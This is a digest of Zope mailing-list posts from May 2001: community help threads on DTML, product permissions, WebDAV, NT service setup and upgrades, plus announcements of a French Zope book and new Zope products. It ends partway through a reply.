Menard.Jean-Francois@hydro.qc.ca Wed May 2 17:53:17 2001 From: Menard.Jean-Francois@hydro.qc.ca (Menard.Jean-Francois@hydro.qc.ca) Date: Wed, 2 May 2001 12:53:17 -0400 Subject: [Zope] [ANNOUNCE] A French Zope Book ! Message-ID: <139EE72D26C0D411845F00508BF9398E010CD436@msxg2mtl1.hydro.qc.ca> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C0D328.62FFAE90 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Wow, exactement ce que j'attendais! J'ai beaucoup de difficult=E9 =E0 convaincre la direction, qui pr=E9tend que ZOPE n'est pas assez = r=E9pandu, et qu'il n'y a pas de documentation. Un livre en fran=E7ais? = FANTASTIQUE! ;)) -----Message d'origine----- De : Pierre-Julien Grizel [mailto:grizel@mouli.net] Envoy=E9 : mercredi 2 mai 2001 12:18 =C0 : Zope mailing list Objet : [Zope] [ANNOUNCE] A French Zope Book ! Hi, I'm glad to tell you I wrote a whole book on Zope. It will be released = by the french editor Eyrolles around 6/15/2001. There are 3 main parts: - Zope for webmasters (install, DTML, forms & cookies, ZCatalog, ...) - Zope for programmers (ZSQL, Python, ZClasses, products, conception, = ...) - Cases studies (An internet/intranet website, an electronic commerce solution and an LDAP web interface) I think this is a nice information for the Zope community - and = especially the active french Zope community. There are the book references : Title: Zope With three cases studies Author: Pierre-Julien Grizel Editor: Eyrolles / Collection Solutions D=E9veloppeurs More than 400 pages ISBN: 2-212-09281-x Price: Around 249 F (around 40.8 Euros) Regards, Pierre-Julien Grizel _______________________________________________ Zope maillist - Zope@zope.org http://lists.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists -=20 http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope-dev ) ------_=_NextPart_001_01C0D328.62FFAE90 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: [Zope] [ANNOUNCE] A French Zope Book !

Wow, exactement ce que j'attendais!  J'ai = beaucoup de difficult=E9 =E0 convaincre la direction, qui pr=E9tend que = ZOPE n'est pas assez r=E9pandu, et qu'il n'y a pas de = documentation.  Un livre en fran=E7ais?  FANTASTIQUE! = ;))

-----Message d'origine-----
De : Pierre-Julien Grizel [mailto:grizel@mouli.net]
Envoy=E9 : mercredi 2 mai 2001 12:18
=C0 : Zope mailing list
Objet : [Zope] [ANNOUNCE] A French Zope Book = !



Hi,


I'm glad to tell you I wrote a whole book on Zope. It = will be released by the
french editor Eyrolles around 6/15/2001.


There are 3 main parts:
- Zope for webmasters (install, DTML, forms & = cookies, ZCatalog, ...)
- Zope for programmers (ZSQL, Python, ZClasses, = products, conception, ...)
- Cases studies (An internet/intranet website, an = electronic commerce solution
and an LDAP web interface)


I think this is a nice information for the Zope = community - and especially the
active french Zope community.



There are the book references :

Title: Zope
With three cases studies
Author: Pierre-Julien Grizel
Editor: Eyrolles / Collection Solutions = D=E9veloppeurs
More than 400 pages
ISBN: 2-212-09281-x
Price: Around 249 F (around 40.8 Euros)



Regards,


Pierre-Julien Grizel

_______________________________________________
Zope maillist  -  Zope@zope.org
http://lists.zope.org/mailman/listinfo/zope=
**   No cross posts or HTML = encoding!  **
(Related lists -
 http://lists.zope.org/mailman/listinfo/zope-announce
 
http://lists.zope.org/mailman/listinfo/zope-dev = )

------_=_NextPart_001_01C0D328.62FFAE90-- From bkc@murkworks.com Wed May 2 18:18:39 2001 From: bkc@murkworks.com (Brad Clements) Date: Wed, 2 May 2001 13:18:39 -0400 Subject: [Zope] Re: DTML calling explained In-Reply-To: <010001c0d328$2cd086f0$2a01000a@evansys> Message-ID: <3AF00611.15014.1F2035A4@localhost> Thank for the detailed explanation. Adding REQUEST solved my problem. I had also tried adding _ but that didn't work from pythonscript even though _ was bound to the dtml namespace. (ie, I tried context.ProductInfo(None,_,productid=traverse_path[0]) But I still think there is a problem. pythonscript ProcessPath calls DTML Method ProductInfo which dtml-var DTML Method Standard_Html_Header. In Standard_Html_header I have do something My understanding of dtml-unless is that it's true if bgcolor is None, '' or does not exist in the namespace. If ProcessPath includes REQUEST in it's call to ProductInfo, all is well. But if REQUEST is not included, then I get a KeyError on the statement. This doesn't seem correct. I'd expect to not get a KeyError, since dtml-unless is supposed to catch that. Isn't it? So .. if a DTML_Method does not get REQUEST, looks like doesn't do what's expected. Brad Clements, bkc@murkworks.com (315)268-1000 http://www.murkworks.com (315)268-9812 Fax netmeeting: ils://ils.murkworks.com AOL-IM: BKClements From Francois-regis.Chalaoux@sanofi-synthelabo.com Wed May 2 15:52:08 2001 From: Francois-regis.Chalaoux@sanofi-synthelabo.com (Francois-regis Chalaoux) Date: Wed, 2 May 2001 16:52:08 +0200 Subject: [Zope] Service NT INSTANCE_HOME - Second shot Message-ID: <"010502174022Z.WT29285. 15*/PN=Francois-regis.Chalaoux/O=RESEARCH/PRMD=SANOFI/ADMD=ATLAS/C=FR/"@MHS> Hi, The very good Howto at "http://www.zope.org/Members/4am/instancehome" describe a nice solution to start Zope with an another INSTANCE_HOME . However, this solution don't seem effective with the Zope NT service : If you create a INSTANCE_HOME with var, Extensions, import, Products, access entities, and you declare INSTANCE_HOME in start.bat, Zope find correctly your INSTANCE_HOME when you manually run start.bat. But if you start Zope with a service it does not work even if you change the string INSTANCE_HOME in the NT registry ? Is there a sweet solution to affect an another INSTANCE_HOME and start zope with a service ? FR From augusto@artlover.com Wed May 2 18:59:19 2001 From: augusto@artlover.com (Ausum) Date: Wed, 02 May 2001 12:59:19 -0500 Subject: [Zope] Local FS for multimedia content (was Re:Image Content) References: <20010502095259.5713.cpmta@c000.snv.cp.net> Message-ID: <3AF04AF7.A928D5A2@artlover.com> I think it's a good idea to help to enhance Jonothan's LocalFS product. I use it to browse image files at already filesystem existing directories, and also to watch those images rendered at the very main screen, when they're under a threshold file size. If you restrict conveniently the access to those directories trough the filesystem, you don't need to store them at the ZDB, with the obvious advantage of not crowding it. The current downside is that you can't store metadata, but that's a noticeable "todo" at the readme. I've tried ExtFile product and ZPhoto product too, and though they have good features on their own, I think a merging-features work should be done, in order to offer directory imports to ZDB(for previews and metadata storing issues, cataloguing, and sinchronization to filesystem changes) and external filesystem storing. A tool like this would be a good starting point to a reliable multimedia asset CMS. Ausum dave@kovach.com wrote: > > Hi - > > I have acouple questions regarding a photo content management system I am building as a tutorial to learn various aspects of Zope. So... I need some pointing in the right direction on the following... > > What is the most appropriate way to say add (5) containers of varying numbers of images without using the Zope management interface to manually add each one? > > I guess it might be possible to write a tool that iterates through a file directory and add an image element into a zope folder... or are there provisions already for this sorta thing? > > Also, if you want to give someone an easy interface to use to have access to adding/deleting photos in this scenario - would you have to build it? or is there something within Zope that allows a non-Zope'er to be able to access a form to do this maintenace? > > Any help or some pointing to what how-tos I should > read would be very helpful. Thanks in advance. > > Sincerely, > > David Kovach > dave@kovach.com > > _____________________________________________________ > > Get your name as your email and web site address. > http://www.NetIdentity.com. Be somebody online. > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From evan@4-am.com Wed May 2 19:06:52 2001 From: evan@4-am.com (Evan Simpson) Date: Wed, 2 May 2001 13:06:52 -0500 Subject: [Zope] Re: DTML calling explained References: <3AF00611.15014.1F2035A4@localhost> Message-ID: <014801c0d332$adfbcdc0$2a01000a@evansys> From: "Brad Clements" > Adding REQUEST solved my problem. I had also tried adding _ but that didn't work > from pythonscript even though _ was bound to the dtml namespace. That's probably because your Script wasn't being called from DTML, and therefore had an empty namespace. > pythonscript ProcessPath calls DTML Method ProductInfo which dtml-var DTML > Method Standard_Html_Header. > If ProcessPath includes REQUEST in it's call to ProductInfo, all is well. But if > REQUEST is not included, then I get a KeyError on the > statement. Hmm. I'm not sure why that is. I'll have to look into it. Cheers, Evan @ digicool & 4-am From Francois-regis.Chalaoux@sanofi-synthelabo.com Wed May 2 17:58:43 2001 From: Francois-regis.Chalaoux@sanofi-synthelabo.com (Francois-regis Chalaoux) Date: Wed, 2 May 2001 18:58:43 +0200 Subject: Re'f. : Re'f. : Re: Re'f. : Re: [Zope] Webdav - Microsoft Word - Zope Message-ID: <"010502175506Z.WT02289. 67*/PN=Francois-regis.Chalaoux/O=RESEARCH/PRMD=SANOFI/ADMD=ATLAS/C=FR/"@MHS> ------ =_WT18123.3af04a1b.0a0/gtlhpmed.paris.sanofi.com Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by gtlhpmed.paris.sanofi.com id TAA03146 Francois-regis Chalaoux 30/04/2001 18:45 Pour : cduncan@kaivo.com%internet@WTFR zope@zope.org cc : =20 Objet : R=E9f. : Re: Re'f. : Re: [Zope] Webdav - Microsoft Word - Zope =20 I'd tested the manipulations with users today and We can't write html fil= es that we put inside Zope via webfolder when we edit them in Word. It's = working with '.doc' !! What's the difference between this two type of files? FR >What I mean was what happens if in Word, you go to File->Open, click on >"Web Folders" and browse to the Zope hosted doc. Does it open read-only >then too? No, I can save the file in Zope. FR Francois-regis Chalaoux wrote: >=20 > > What happens when you open it from the web folder directly in Word? >=20 > I Open Word with the required document. >=20 > > Is it still read-only?? >=20 > No, I can save it. >=20 > FR >=20 ------ =_WT18123.3af04a1b.0a0/gtlhpmed.paris.sanofi.com <<< Document Link >>> Replica ID = 0xc1256990:0x465d87 Document ID = 0x9f60db3:0x4b739020-0xc1256992:0x2e1543 View ID = 0x96b43b24:0xb44b8f5d-0xc1256a3e:0x5b0c9d <<< End >>> ------ =_WT18123.3af04a1b.0a0/gtlhpmed.paris.sanofi.com-- From Francois-regis.Chalaoux@sanofi-synthelabo.com Wed May 2 17:59:16 2001 From: Francois-regis.Chalaoux@sanofi-synthelabo.com (Francois-regis Chalaoux) Date: Wed, 2 May 2001 18:59:16 +0200 Subject: [Zope] Service NT INSTANCE_HOME - Second shot Message-ID: <"010502175510Z.WT02289. 70*/PN=Francois-regis.Chalaoux/O=RESEARCH/PRMD=SANOFI/ADMD=ATLAS/C=FR/"@MHS> ---------------------- Envoy=E9 par Francois-regis Chalaoux/FR-LABEGE/RES= EARCH/SANOFI le 02/05/2001 19:02 ---------------------------- Francois-regis Chalaoux 02/05/2001 16:52 Pour : zope@zope.org cc : =20 Objet : Service NT INSTANCE_HOME - Second shot Hi, The very good Howto at "http://www.zope.org/Members/4am/instancehome" des= cribe a nice solution to start Zope with an another INSTANCE_HOME . However, this solution don't seem effective with the Zope NT service :=20 If you create a INSTANCE_HOME with var, Extensions, import, Products, acc= ess entities, and you declare INSTANCE_HOME in start.bat, Zope find correctly your INST= ANCE_HOME when you manually run start.bat.=20 But if you start Zope with a service it does not work even if you change = the string INSTANCE_HOME in the NT registry ? Is there a sweet solution to affect an another INSTANCE_HOME and start zo= pe with a service ? FR From echlinm@aecl.ca Wed May 2 18:20:56 2001 From: echlinm@aecl.ca (Echlin, Michael) Date: Wed, 2 May 2001 13:20:56 -0400 Subject: [Zope] upgrading an RPM install of Zope. Message-ID: <0F36CD681E3DD311B49E00805F3160BC0180BAB8@crs27.crl.aecl.ca> Hi, We have a few Zope servers, one of which was installed using the rpm method. The rpm install goes to different directories then the manual install as per the web page (using the rpm install some of the software is installed in the /usr/share/zope and the rest is in /var/zope.) The upgrade (there is no rpm upgrade yet) from 2.3.X to 2.3.2 has directories that do not appear in any of the directory structures created in the rpm install (inst is one directory that does not appear.) The 2.3.X to 2.3.2 upgrade wants to install to a common directory structure not a split-up structure like the rpm install. I am going to back up everything and try to copy the right pieces to the right place but who knows what will happen. Any advice before I try this? Mike Echlin CP/SA/CM AECL Control and Operations Technology echlinm@aecl.ca From kyroraz@usa.net Wed May 2 19:14:02 2001 From: kyroraz@usa.net (Jason Joy) Date: 2 May 2001 11:14:02 MST Subject: [Zope] Product Creation and Permission Message-ID: <20010502181402.8059.qmail@nwcst283.netaddress.usa.net> Hey there, I have a question regarding the use of permissions in Classes,= regarding the creation of user-made Products for Zope. = The product that I have is made from 2 classes, which for this example I = will call classes A and B. From the management screen of Class A after you cr= eate a instance of it in Zope, it shows a list from a external database of instances of B. B does not get into the Zope Database at all. A's code = has been modified in the manage_menu system such that it can add and subtract= instances of B from the external database. It does this just fine. When selecting a instance of B (let's call it C), from the management men= u of A, I keep getting asked to enter my password and can never get in, eventu= ally getting it to say that I don't have permission to manage it or view it. = I tried adding: = security =3D ClassSecurityInfo() security.declareObjectPublic() security.setDefaultAccess('allow') security.__allow_access_to_unprotected_subobjects__ =3D 1 =2E.. but it seemed to only grant me access to the index_html, bouncing m= e down to a lower level other than management. I think the problem is that Zope doesn't see B very well and I need to te= ll it how to manage it. Does anyone have any ideas how I can take this B objec= t and give it access privledges so that I can manage it? I tried tinkering wit= h __ac_permissions__ but I got locked out even further, not even index_html= would come up. :) Any thoughts? Thanks. Jason = ____________________________________________________________________ Get free email and a permanent address at http://www.netaddress.com/?N=3D= 1 From marcbpc@gmx.de Wed May 2 19:45:55 2001 From: marcbpc@gmx.de (Marc Fischer) Date: Wed, 2 May 2001 20:45:55 +0200 Subject: AW: AW: [Zope] Source from form result. In-Reply-To: <975314650.988817792@BUZZER> Message-ID: Hi Tino, I think, thats it, what I am looking for. Your Example works fine so far. But my understanding in python I so low, that I am not able change it in my needed way. Perhabs you could tell me how to realize this: and show me how to get the source of the result page?! :-) I would be very happy, ... thanx a lot ... Marc > -----Ursprungliche Nachricht----- > Von: zope-admin@zope.org [mailto:zope-admin@zope.org]Im Auftrag von Tino > Wildenhain > Gesendet: Mittwoch, 2. Mai 2001 15:37 > An: Marc Fischer; Danny William Adair; Paula Mangas > Cc: zope@zope.org > Betreff: Re: AW: [Zope] Source from form result. > > > Hi Marc, > > zope has a "client" deep in its core :) > See lib/python/ZPublisher/Client.py > for more info. > > I currently use a external method like this: > > >from ZPublisher import Client > > def web_client(url = '', username = None, password = None, **kw): > '''access http servers''' > class gen_res: > __allow_access_to_unprotected_subobjects__=1 > f=gen_res() > if kw: > f.headers,f.body=Client.call(url,username,password,kw) > else: > f.headers,f.body=Client.call(url,username,password) > return(f) > > > And use it like this: > > > > > > In Client.py are also methods and functions to map arguments > to a POST request as you wish. > > I think, the above could be a starting point for you. > > HTH > Tino Wildenhain > > --On Mittwoch, 2. Mai 2001 12:12 +0200 Marc Fischer > wrote: > > > Hi Danny, > > > > first of all thank you for your detailed help!!! That is > nearly, what I am > > looking for, but one problem exists: > > The page I want to extract (you are right ... its on an external server) > > does not work with passing the variables in the url. I mean ... > > > > http://server?x=a&y=b does not work. > > > > I need to do it with a form like: > > > >
> > > > > > > >
> > > > That's my big big problem. Btw, ... its legal :-))) > > > > Marc > > > > > > > > > > > > > >> -----Ursprungliche Nachricht----- > >> Von: Danny William Adair [mailto:Danny@Adair.net] > >> Gesendet: Mittwoch, 2. Mai 2001 01:26 > >> An: Marc Fischer; Paula Mangas > >> Cc: zope@zope.org > >> Betreff: Re: [Zope] Source from form result. > >> > >> > >> Hi Marc, > >> > >> When you submit a form to one of your DTML methods or > documents, all the > >> form variables will be available without any further work to be done > >> (REQUEST object, see docs). But if I get you right, you are not > >> submitting your form to a method of your own. So things are a bit > >> different here. > >> > >> As I understand it, you are submitting your form to someone > else's server > >> (since otherwise you would produce the output yourself). Maybe you're > >> providing an input form that is directed to a search engine, > or something > >> similar. > >> > >> -------------------------------------------- > >>
> >> > >> > >> > >> > >> > >> > >>
> >> -------------------------------------------- > >> > >> If so, then you should take a look at the "KebasData" Product: > >> http://www.zope.org/Members/kedai/KebasData > >> > >> Just instantiate a KebasData object, let's say "results". Take a > >> look at the > >> product's documentation to see how you can extract the > relevant code from > >> the external server's result page. I'll try to get you started right > >> away: > >> > >> Set the regular expression patterns properly, start with > >> > >> .* > >> > >> as the search pattern and leave the rest blank ("url" will be set > >> by a DTML > >> method you create, see below), then you'll get the entire > >> external page, you > >> can change that later to fit your needs. > >> > >> Then create a DTML method next to it, lets say "getResults". It could > >> look like this: > >> > >> > >>

RESULTS

> >> > >> >> easier to do further processing with your fetched data. > >> > >> hth, > >> Danny > >> > >> P.S.: Check the legal stuff before extracting other people's pages ;-) > >> > >> >>> -----Ursprungliche Nachricht----- > >> >>> Von: zope-admin@zope.org [mailto:zope-admin@zope.org]Im > >> Auftrag von Marc > >> >>> Fischer > >> >>> Gesendet: Dienstag, 1. Mai 2001 11.43p > >> >>> An: Paula Mangas; Marc Fischer > >> >>> Cc: zope@zope.org > >> >>> Betreff: AW: [Zope] Source from form result. > >> >>> > >> >>> > >> >>> Hi, > >> >>> > >> >>> I think there was an understanding problem. I want to get the > >> >>> source code of > >> >>> the result that is displayed in the browser, after klicking on > >> >>> the submit > >> >>> button. I want to be able to handle this source perhabs to create a > >> >>> dtmlmethod wiht it, or do some string extractions with it. > >> >>> > >> >>> > >> >>> > >> >>> > -----Ursprungliche Nachricht----- > >> >>> > Von: Paula Mangas [mailto:pamm@students.si.fct.unl.pt] > >> >>> > Gesendet: Dienstag, 1. Mai 2001 13:25 > >> >>> > An: Marc Fischer > >> >>> > Cc: zope@zope.org > >> >>> > Betreff: Re: [Zope] Source from form result. > >> >>> > > >> >>> > > >> >>> > On Tue, 1 May 2001, Marc Fischer wrote: > >> >>> > > >> >>> > > Hi, > >> >>> > > > >> >>> > > I want to get the HTML result from a form into a dtml method. > >> >>> > So I need a > >> >>> > > way to handle this result, but HOW. > >> >>> > > > >> >>> > > The form ist like this: > >> >>> > > > >> >>> > >
> >> >>> > > > >> >>> > > > >> >>> > > > >> >>> > >
> >> >>> > > > >> >>> > > If I klick on submit, I get the result displayed in the > >> >>> Browser, but I > >> >>> > > cannot work with it. > >> >>> > > Perhaps someone could help me??? > >> >>> > > >> >>> > > >> >>> > Hi, > >> >>> > > >> >>> > > >> >>> > I think that, if you try > >> >>> >
>> method=POST> > >> >>> > > >> >>> > it will work. > >> >>> > > >> >>> > Paula > >> >>> > > >> >>> > >> >>> > >> >>> _______________________________________________ > >> >>> Zope maillist - Zope@zope.org > >> >>> http://lists.zope.org/mailman/listinfo/zope > >> >>> ** No cross posts or HTML encoding! ** > >> >>> (Related lists - > >> >>> http://lists.zope.org/mailman/listinfo/zope-announce > >> >>> http://lists.zope.org/mailman/listinfo/zope-dev ) > >> >>> > >> > > > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://lists.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://lists.zope.org/mailman/listinfo/zope-announce > > http://lists.zope.org/mailman/listinfo/zope-dev ) > > > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From edc@mail.8days.com Wed May 2 19:48:17 2001 From: edc@mail.8days.com (Ed Colmar) Date: Wed, 2 May 2001 12:48:17 -0600 Subject: [Zope] Announce: GreetingCard-0.2 (development) Message-ID: <200105021248.AA131354@mail.8days.com> Hi Everyone! I am building zope based web tools for a printing company in Colorado, called Eight Days A Week. The management recently decided to open the source that I have been developing. One more victory for the freedom fighters! The first piece of code to near release quality is a greeting card toolkit. It uses zope for data storage, image upload, html generation, and management functionality. LocalFS and reportlab are used to generate PDF formatted high-resolution cards set up with cropmarks to print. The code is still Alpha quality with several areas where significant improvement can be made, but is functional as is. A demo is running here: http://www.8daw.com:8080/greetingcards/ (zope 2.3 : Mandrake 7.2 linux) You will not be able to use the PDF tools, unless you install it somewhere with management access. Hope you all like it! Please let me know if you find it useful, or make any changes. -ed- From marc@bowery.com Wed May 2 20:07:29 2001 From: marc@bowery.com (marc lindahl) Date: Wed, 02 May 2001 15:07:29 -0400 Subject: [Zope] Announce - Audio Product Message-ID: Odd that noone has made a product for audio storage, analogous to Image, so I took a crack at it. So far it parses MP3 tag data. Anyone have info on RealAudio tag data? Since it's based on File, it'll actually store anything. But the cool thing is, it sucks the ID3 tag data out of the file (if there is any) and puts it into properties, so it can be indexed. You can also edit the data in the properties page, and whenever the audio is rendered, the new tag data is inserted. It should be easy to add stuff to look for WAV and AIFF header info and suck that out, since python comes with libraries to do that, but those aren't popular web formats so I haven't done it yet. It's not CatalogAware, just as Image.... I figured you'd wrap it or whatever to do that, but I'm open to suggestions. It's the first release, so obviously don't depend on it to launch rockets :) Get it here: http://www.zope.org/Members/bowerymarc/Audio From mindlace@digicool.com Wed May 2 19:56:04 2001 From: mindlace@digicool.com (ethan mindlace fremen) Date: Wed, 02 May 2001 14:56:04 -0400 Subject: [Zope] Error on Zope download page In-Reply-To: Message-ID: <165000000.988829764@mindlace.digicool.com> --On Wednesday, May 02, 2001 10:46:08 +0200 Jerome Alet wrote: > Hi, > > Don't know if this is an error or not, here's what you can read from > Zope's download page: > > Download Zope 2.3.2 the current stable release. > Download Zope 2.3.2b2 the current development release. Hi, I've corrected it. As soon as there is a development version that has a higher revision number, the text will change back to "current development version". HTH, -- ethan mindlace fremen zopatista community liason From dieter@handshake.de Wed May 2 18:59:24 2001 From: dieter@handshake.de (Dieter Maurer) Date: Wed, 2 May 2001 19:59:24 +0200 (CEST) Subject: [Zope] dtml-in and objectValues() In-Reply-To: <232707557@toto.iv> Message-ID: <15088.19196.564748.380111@lindm.dm> Kai Hofmann writes: > ... > now I wanted to do something like > > You may use "ZopeFind". It provides much more control over with objects are returned then "objectValues". Documentation via "ZQR" (Zope Quick Reference). Dieter From dieter@handshake.de Wed May 2 18:47:22 2001 From: dieter@handshake.de (Dieter Maurer) Date: Wed, 2 May 2001 19:47:22 +0200 (CEST) Subject: [Zope] executing dynamically generated code (eval)? In-Reply-To: <906989205@toto.iv> Message-ID: <15088.18474.524084.478544@lindm.dm> Marcus Schopen writes: > is there a kind of dtml-eval command? > > I'd like to execute dynamicly generated code like: > >. Others have answered to your specific request. Someone else has had a similar need than you may have. And he announced an extension "dtml-eval" in the mailing lists. It can be quite dangerous. Of course, it did not make it in the Zope core and I never looked at it more closely (I would use a special purpose External Method for these cases). You may find the announcement via the searchable list archives. Dieter From dieter@handshake.de Wed May 2 19:08:44 2001 From: dieter@handshake.de (Dieter Maurer) Date: Wed, 2 May 2001 20:08:44 +0200 (CEST) Subject: [Zope] [FEATURE REQUEST] Improving Zope's management interface In-Reply-To: <961676758@toto.iv> Message-ID: <15088.19756.684962.566778@lindm.dm> Jerome Alet writes: > here are some small suggestions to improve (IMHO) the management > interface. > > When viewing an object it would be fine if the Rename/Cut/Copy and Delete > buttons were still available (but probably not the Paste button). I would not mind, but would use them rarely. > Another thing I'd be glad to use would be MoveUp and MoveTo buttons: Never wanted to have that: I open two browser windows, showing source and destination. I select and copy/cut in the source, move to destination and click "paste". For me, at least, it would be much more helpful, if the controlling buttons would be both at top and bottom. Dieter From dieter@handshake.de Wed May 2 19:18:30 2001 From: dieter@handshake.de (Dieter Maurer) Date: Wed, 2 May 2001 20:18:30 +0200 (CEST) Subject: AW: [Zope] Source from form result. In-Reply-To: <460786909@toto.iv> Message-ID: <15088.20342.101372.188631@lindm.dm> Marc Fischer writes: > The page I want to extract (you are right ... its on an external server) > does not work with passing the variables in the url. I mean ... > > http://server?x=a&y=b does not work. > > I need to do it with a form like: > > > > > > > > That's my big big problem. Btw, ... its legal :-))) Apparently, your server wants to get a "POST" request. You will not get "POST" requests with simple "" elements. These elements generate "GET" requests only. You may succeed with JavaScript, but I am not familiar enough to tell this for sure. Dieter From dieter@handshake.de Wed May 2 18:57:55 2001 From: dieter@handshake.de (Dieter Maurer) Date: Wed, 2 May 2001 19:57:55 +0200 (CEST) Subject: [Zope] something like getpath in ZCatalog for methods In-Reply-To: <1029733822@toto.iv> Message-ID: <15088.19107.901335.199815@lindm.dm> Marcus Schopen writes: > is it possible to get the absolut position/url of a method (e.g. method_X) that > is located somewhere in one of the above parents folders? There are "absolute_url" and "getPhysicalPath". If you use "absolute_url" you may (or may not!) want to use "this()" to get rid of unwanted acquisition context. Something like: Dieter From dieter@handshake.de Wed May 2 19:21:59 2001 From: dieter@handshake.de (Dieter Maurer) Date: Wed, 2 May 2001 20:21:59 +0200 (CEST) Subject: [Zope] rename objects permission In-Reply-To: <953793690@toto.iv> Message-ID: <15088.20551.223126.590577@lindm.dm> Peter Bengtsson writes: > Which permission is need to have to NOT get this message: > "You are not authorized to access manage_renameObjects. " > > I have a role which is only supposed to be able to rename Image objects and > add/edit properties of Image objects. > This user uses a special interface I built and does not go /manage. I used my "DocFinder" product to quickly determine that "manage_renameObjects" is protected by "View management screens". An alternative would have been to look at the sources .... Dieter From dieter@handshake.de Wed May 2 19:04:31 2001 From: dieter@handshake.de (Dieter Maurer) Date: Wed, 2 May 2001 20:04:31 +0200 (CEST) Subject: [Zope] NETSCAPE WANTS TO SAVE MY LINK In-Reply-To: <456689302@toto.iv> Message-ID: <15088.19503.57749.699355@lindm.dm> Jose Soares writes: > I'm experiencing a strange thing when I click a link > Netscape wants to save the page instead of showing > it . > Using IE it works properly. > Any ideas ? What should happen with content can be configured. The configuration specifies how the various MIME types should be handled: shown internally, saved to disk, viewed through an external program. Of course, the default configuration of IE and Netscape need not be identical (that's what you see, apparently). Even Netscapes on different platforms have different configurations. You may want to look at your configuration. In my Linux Netscape 4.7 it is in "Edit Preferences -> Navigator -> Applications". Dieter From dieter@handshake.de Wed May 2 18:43:44 2001 From: dieter@handshake.de (Dieter Maurer) Date: Wed, 2 May 2001 19:43:44 +0200 (CEST) Subject: [Zope] Zope IOError messages (FOUND TEST CASE) In-Reply-To: <1014229590@toto.iv> Message-ID: <15088.18256.452154.669217@lindm.dm> =?iso-8859-1?q?J=E9r=F4me=20Loisel?= writes: > .... strange IOError problems .... > To manually restart Zope, I do the following: I open a shell, su, run the > stop script, run the start script, check that everything works and exit my > shell. You supposed that maybe stderr disappears somehow, causing my > IOErrors... Would closing my shell not make stderr disappear? Closing the shell will close "stderr" unless you have taken precaution. The easiest way is to use "nohup" to start your process. "nohup" will redirect "stdin" (to "/dev/null") and "stdout/stderr" to "nohup.out" (unless a different destination is specified) and make the process immune against "SIGHUP" signals (usually send when the control terminal is withdrawn). > If so, maybe this should be considered a bug in the default setup of the > start script? The start script should start a fully functional Zope, even if > the shell il later closed. In my opinion, at least. :-) I do not think so. You have to choose: either output to terminal (the default with the "-d" (debug) option and without "STUPID_LOG_FILE") and get problems when the OS (not Zope) makes the terminal unavailable. or has logging infos in a file (without "-d" or with "STUPID_LOG_FILE"). However, this choice may need to be stressed stronger in the documentation. Dieter From cduncan@kaivo.com Wed May 2 20:24:27 2001 From: cduncan@kaivo.com (Casey Duncan) Date: Wed, 02 May 2001 13:24:27 -0600 Subject: [Zope] Webdav - Microsoft Word - Zope References: <"010502175506Z.WT02289. 67*/PN=Francois-regis.Chalaoux/O=RESEARCH/PRMD=SANOFI/ADMD=ATLAS/C=FR/"@MHS> Message-ID: <3AF05EEB.11149EF4@kaivo.com> Francois-regis Chalaoux wrote: >=20 > Francois-regis Chalaoux > 30/04/2001 18:45 > Pour : cduncan@kaivo.com%internet@WTFR > zope@zope.org > cc : >=20 > Objet : R=E9f. : Re: Re'f. : Re: [Zope] Webdav - Microsoft Word - Zope >=20 > I'd tested the manipulations with users today and We can't write html f= iles that we put inside Zope via webfolder when we edit them in Word. It'= s working with '.doc' !! > What's the difference between this two type of files? >=20 Is this using the "Save as HTML" option in Word? --=20 | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> From alex@quad.com.ar Wed May 2 20:18:48 2001 From: alex@quad.com.ar (alex) Date: Wed, 2 May 2001 16:18:48 -0300 Subject: [Zope] phpWebEd References: Message-ID: <004f01c0d33d$28bb4040$3d000f0a@alex> to be honest I didnt try it, just read its description.. but, why do you want a php script to edit contents on zope? just http://yoursite.com/manage and do it there! I understand people using JUST php to use that, since they have NO web based content management tools at all, but in zope you already do have it... and built-in.. so why using that? anyway, I bet those scripts uses filesystem functions like fopen() fread() fgets() fputs() and would only work only on filesystem, so in case the script actually runs on zope... it wouldnt be able to edit zope contents.. just filesystem contents. hmm just my opinion :) Alex ----- Original Message ----- From: "Stephan Goeldi" To: Sent: Wednesday, May 02, 2001 8:20 AM Subject: [Zope] phpWebEd > Hello all > > What do you think about phpWebEd on > > http://www.nm-service.de/products.html?pid=pwe > > Is this usable under Zope? > > > _________________________________________________________________________ > Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From cduncan@kaivo.com Wed May 2 20:27:22 2001 From: cduncan@kaivo.com (Casey Duncan) Date: Wed, 02 May 2001 13:27:22 -0600 Subject: [Zope] Product Creation and Permission References: <20010502181402.8059.qmail@nwcst283.netaddress.usa.net> Message-ID: <3AF05F9A.3BE841A@kaivo.com> Jason Joy wrote: > > Hey there, I have a question regarding the use of permissions in Classes, > regarding the creation of user-made Products for Zope. > > The product that I have is made from 2 classes, which for this example I will > call classes A and B. From the management screen of Class A after you create > a instance of it in Zope, it shows a list from a external database of > instances of B. B does not get into the Zope Database at all. A's code has > been modified in the manage_menu system such that it can add and subtract > instances of B from the external database. It does this just fine. > > When selecting a instance of B (let's call it C), from the management menu of > A, I keep getting asked to enter my password and can never get in, eventually > getting it to say that I don't have permission to manage it or view it. I > tried adding: > > security = ClassSecurityInfo() > security.declareObjectPublic() > 